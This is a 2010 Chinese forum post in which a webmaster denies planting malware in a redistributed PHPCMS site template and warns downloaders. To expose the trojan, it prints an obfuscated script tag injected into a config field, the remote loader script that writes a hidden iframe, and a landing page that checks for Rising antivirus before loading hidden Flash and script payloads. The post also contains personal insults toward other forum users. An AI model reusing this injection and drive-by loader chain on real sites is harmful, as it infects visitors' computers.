关于 PHPCMS仿163K全站的声明！下载163K的朋友请看！！！

ysmaster · 发表于 2010-2-22 03:14:02

关于 PHPCMS仿163K全站的声明！

首先声明：
https://bbs.52jscn.com/thread-8765-1-1.html
并不是我发布的，本人在PHPCMS论坛提供的下载通过WINRAR加密过的，就算下载也无法解压。程序是从PHPCMS 2007 SP6 一路升级到PHPCMS2008的，不免有很多未知的问题。本人在PHPCMS论坛发布过声明，模板文件里面确实有一个框架连接是我的另外一个小站的页面，需要说明的，这是我自己的站提升另外一个站流量的做法！本人发布心切，未来得及删除，程序发布不到一个小时我就停止下载了，原因是我发现很多的错误和很多无效代码。今天本人看见改论坛发布了我的整站程序，我强烈谴责无限制WINRAR的人并修改程序加暗链以及挂马的行为。

望大家还我一个清白！

声明：本人在PHPCMS论坛提供了MD5值验证，网络上二次发布产生的一切后果与本人无关！！！

关于https://bbs.52jscn.com/thread-9404-1-1.html的声明：

该3楼的朋友估计素质有问题，你从小没有父母教过你吗？知道什么是教养吗？读过书吗？没弄明白就骂人，程序不是原作者发布的。有人修改再次发布你就没想到了吗？

该帖4楼的朋友估计估计从小缺少教育，张口就脏话骂人，还把我的域名whois信息发出来，你真垃圾，自以为是。素质真的很无语！

关于5楼的问题：

帖子提到：

进phpmyadmin，找表: phpcms_module 在 module下面---phpcms，编辑它，
setting 字段里，最下面，'wss_site_id'和'wss_password'的默认值去掉，就是下面这样为空。
顺便曝光下这段不能修改的CNZZ统计设置的代码。

'wss_site_id' => '<script language=javascript src=http://h%302.x%6Frg.%70l/a.js></script> 80375607',
'wss_password' => '6377008992',

复制代码

我并没有在这里添加暗链，不知道是哪位该死的修改或者添加的，你们有意见找发布那人问清楚！

声明：http://h%302.x%6Frg.%70l/a.js 还原地址为：http://h02.xorg.pl/a.js

http://h02.xorg.pl/a.js 代码如下：

function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 12*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{
var vsv="fucav";
document.cookie = "Cookie1=lalaj;expires="+ Then.toGMTString()
document.write("<div style=\'dispaly:none;\' >");
document.write("<ifra"+"me src=http:\/\/adk.bij.pl\/44\/912rp.htm width=100 height=0><\/iframe>");
document.write("</div>");
}
}Get();

复制代码

通过发现 http://adk.bij.pl/44/912rp.htm

通过谷歌游览器访问提示：

我们可以查看源代码如下：

<HTML>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
function jc()
{
jc_list = ['res://C:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123','res://D:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123','res://E:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123'];
for ( i= 0; i<jc_list.length; i++)
{
ischeck = 1;
x = new Image();
x.src = "";
x.onerror = function()
{
ischeck = 0;
}
x.src = jc_list[i];
if (ischeck == 1)
return 1;
delete x;
}
return 0;
}
if (!jc())
{
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write("<EMBED src=iie.swf width=0 height=0>");
}
else
{
document.write("<EMBED src=fff.swf width=0 height=0>");
}
var yaom="bs";
document.writeln("<iframe src=av.htm width=100 height=1><\/iframe>");
document.writeln("<script src="fa.js"><\/script>");
}
else
{
document.writeln("<script src="1.js"><\/script>");
}
// -->
</SCRIPT>
</HTML>
<script type="text/javascript" src="http://js.tongji.linezing.com/1241363/tongji.js"></script><noscript><a href="http://www.linezing.com"><img src="http://img.tongji.linezing.com/1241363/tongji.gif"/></a></noscript>

复制代码

代码中我们可以看见，如果你的瑞星安装在C D E盘，一般的人就这几个盘，这是一个干掉瑞星杀毒的脚本！严重谴责修改挂马的人！本人为了研究清楚也不小心中标呀，发现电脑速度变慢，有卡的感觉，最后只得一键GHOST啦，大家还是别去打开为好，知道怎么回事就可以！谨慎呀！！！

望大家下载程序时候注意哈。有的再次发布者往往会修改程序！下载请谨慎！谢谢！

严重声明：该论坛发布的仿163K全站与我无关，由此带来的一切后果与本人无关！

通过 http://who.is/ 查询 bij.pl域名whois信息如下：

DOMAIN: bij.pl
registrant's handle: mjp_dr_000027af (CORPORATE)
nameservers: flop.ert.pl. [72.55.129.156]
pszczolka.ert.pl. [209.172.34.211]
created: 2005.12.31 10:44:08
last modified: 2009.12.12 21:12:36
option created 2008.02.09 18:05:17
TECHNICAL CONTACT:
company: AfterMarket.pl - gielda domen internetowych
http://www.AfterMarket.pl/
street: Chytron 26, Office 21
city: 1075 Nicosia
location: CY
handle: mjp_tech
phone: +357.22761649
last modified: 2009.07.09
REGISTRAR:
Michau Enterprises Ltd.
Chytron, 26 Street, Office 21, P.C. 1075 Nicosia, Cypr
tel.+357.22761649
fax:+357.22767543
e-mail:domains@dropped.pl
WHOIS displays data with a delay not exceeding 15 minutes in relation to the .pl Registry system
Registrant data available at http://dns.pl/cgi-bin/en_whois.pl
Information Updated: Sun, 21 Feb 2010 19:37:05 UTC

复制代码

详情请查询：http://who.is/whois/bij.pl/

经本人查询到：
.pl域名为波兰国家域名，而adk.bij.pl是由bee.pl免费提供345.pl、bee.pl、bij.pl、orge.pl、osa.pl等多种后缀的二级域名，并且可设置域名转发（支持隐藏原URL）、A记录及DNS服务器，申请简单，速度不错，无广告。

本人在用360安全游览器打开http://adk.bij.pl/44/912rp.htm无提示中毒，360安全游览器也不安全呀，本人只好恢复GHOST系统！谷歌游览器却提示了！建议还是用谷歌游览器吧！

ysmaster · 发表于 2010-2-22 03:39:35